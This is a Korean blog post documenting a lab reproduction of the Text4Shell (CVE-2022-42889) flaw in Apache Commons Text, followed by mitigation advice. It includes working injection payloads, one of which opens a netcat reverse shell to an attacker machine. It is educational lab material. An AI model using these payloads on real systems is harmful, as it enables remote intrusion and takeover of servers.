정보보안/CVE

[CVE-2022-42889] Text4Shell 취약점

록스타★ 2024. 7. 23. 11:16
반응형

요약

이 문서에는 공격자가 Text4Shell 취약점(CVE-2022-42889)을 악용하는 방법을 보여줌

애플리케이션 text4shell-poc.jar 사용

 

취약한 애플리케이션 특징

- Apache Commons 버전 1.5~1.9 사용

- 라이브러리는 Sting 조작에 사용

 

POC는 Linux 시스템(피해자)과 공격자 시스템 구성

피해자 (text4shell-poc.jar 설치)

- Ubuntu 20.04(x64)

- IP 주소 : 183.103.163.73

 

공격자(역방향 쉘용)

- Ubuntu 20.04(x64)

- IP 주소 : 192.168.219.102

- windows 사용 시 netcat 설치 필요

 

 

진행 순서

1~3 단계 : 취약한 애플리케이션에 대한 요구 사항 설치

4~8 단계 : 취약한 애플리케이션 설치

9~13단계 : 취약한 웹 애플리케이션에 원격 코드 실행 수행

14~15단계 : 역방향 셸 설정 공격자 시스템

완화

 

취약한 Java 애플리케이션을 실행하려면 OpenJDK, Maven 및 Docker를 설치

 

1. 피해자 시스템(183.103.163.73)에서 실행

OpenJDK 설치

sudo apt update && sudo apt install openjdk-11-jdk

 

2. 피해자 시스템(183.103.163.73)에서 실행

도커가 이미 설치되어 있을 경우

which docker

그림(1) which docker

 

도커가 설치되어 있지 않을 경우

sudo apt install docker.io containerd runc

 

3. 피해자 시스템(183.103.163.73)에서 실행

/OPT에 Maven 설치

cd /tmp
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -xvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /opt/

그림(2) Maven 설치
그림(3) Maven 설치

 

환경 변수 설정

M2_HOME='/opt/apache-maven-3.6.3'
PATH="$M2_HOME/bin:$PATH"
export PATH

 

그림(4) 환경 변수 설정

 

 

4. 피해자 시스템(183.103.163.73)에서 실행

POC 애플리케이션 설치

cd /tmp
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git

 

 

그림(5) 애플리케이션 설치

 

 

5. 피해자 시스템(183.103.163.73)에서 실행

Maven을 사용하여 애플리케이션 빌드

cd /tmp/cve-2022-42889-text4shell-docker/
mvn clean install

 

그림(6) BUILD 성공

 

6. 피해자 시스템(183.103.163.73)에서 실행

취약한 애플리케이션을 위한 도커 컨테이너 빌드

docker build --tag=text4shell .

그림(7) 도커 컨테이너 빌드

 

7. 피해자 시스템(183.103.163.73)에서 실행

도커 이미지 실행

docker run -p 80:8080 text4shell

 

그림(8) 도커 이미지 실행

 

8. 피해자 시스템(183.103.163.73)에서 실행

대상 컴퓨터에서 애플리케이션을 테스트

취약한 웹 애플리케이션에서 원격 코드 실행

공격자 시스템을 이용하여 추가 공격 실행

http://localhost/text4shell/attack?search=wins4group

그림(9) 애플리케이션 테스트

 

 

9. 공격자 시스템(192.168.219.102)에서 실행

공격자 컴터에서 애플리케이션 실행

http://183.103.163.73:9000/text4shell/attack?search=wins4group

그림(10) 공격자 컴퓨터에서 애플리케이션 실행

 

10. 공격자 시스템(192.168.219.102)에서 실행

원격 웹 서버를 공격하기 위해 다음 문자열을 전달

${prefix:name}.
http://183.103.163.73:9000/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec'touch /tmp/foo')}

 

중요: 위의 문자열에는 "exec.'touch"가 포함되어 있습니다. 이것은 올바르지 않으며 "exec('touch"여야 합니다.

Medium.com의 입력 유효성 검사 때문에 "exec'(touch"를 사용할 수 없었습니다. 괄호 "("를 수동으로 추가하십시오.

위의 문자열을 URL 인코딩하십시오 (**https://www.urlencoder.org/**).

http://183.103.163.73:9000/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

 

그림(11) 원격 웹 서버에 문자열 전달

 

11. 피해자 시스템(183.103.163.73)에서 실행

도커 컨테이너 ID 가져오기

docker container ls

그림(12) 도커 컨테이너 ID

 

12. 피해자 시스템(183.103.163.73)에서 실행

Docker 컨테이너 내부에서 bash 셸을 시작

> docker exec -it <container_id> bash 사용

docker exec -it text4shell bash

 

13. 피해자 시스템(183.103.163.73)에서 실행

RCE 성공 확인

(/tmp 디렉토리에 foo라는 파일 생성 확인)

그림(13) foo 생성 확인

 

14. 공격자 시스템(192.168.219.102)에서 실행

netcat 수신기 설정

windows 운영체제 사용 시 netcat 별도 설치 

nc -nlvp 1234

 

그림(14) netcat 실행

15. 공격자 시스템(192.168.219.102)에서 실행

페이로드 구성

Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('nc 218.235.89.15 9000 -e /bin/bash')}

 

중요: 위 문자열에는 ".exec'nc"가 포함되어 있습니다. 이는 올바르지 않습니다. ".exec ( 'nc") 여야 합니다 . Medium.com 입력 유효성 검사로 인해 ".exec('nc""를 사용할 수 없습니다. 누락된 "("를 수동으로 추가하세요.

 

페이로드 인코딩 URL

http://183.103.163.73:9000/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20192.168.219.102%201234%20-e%20%2Fbin%2Fbash%27%29%7D

 

중요: 위 문자열에는 ".exec%27"이 포함되어 있습니다. 이는 올바르지 않습니다. ".exec% 28 %27"이어야 합니다. Medium.com 입력 유효성 검사로 인해 ".exec% 28 %27"을 사용할 수 없었습니다 . 누락된 "%28"을 수동으로 추가하세요.

 

그림(15) 웹 페이지 확인

 

리스너 확인

> 대상자 id 호출

그림(16) 리스너 확인

 

완화

1. 취약점이 패치된 버전인 1.10 Version으로 업데이트

2. 공격에 활용될 수 있는 문자열 치환

 

 

 

결론

사실 CVE 2022-42889는 진행한 지 꽤 오래됐다. 그리고 혼자 한 것은 아니고 윈스에서 진행하는 교육을 들을 때 교육생들고 같이 했다. 이걸 할 때 잘 몰라서 머리가 많이 아팠는데 지금은 그래도 좀 이해가 좀 된다. 

 

 

참조

https://infosecwriteups.com/text4shell-poc-cve-2022-42889-f6e9df41b3b7

 

TEXT4Shell PoC (CVE-2022–42889)

Summary  This article shows how an attacker could exploit the TEXT4Shell Vulnerability (CVE-2022–42889). For this purpose we will use U J…

infosecwriteups.com

 

반응형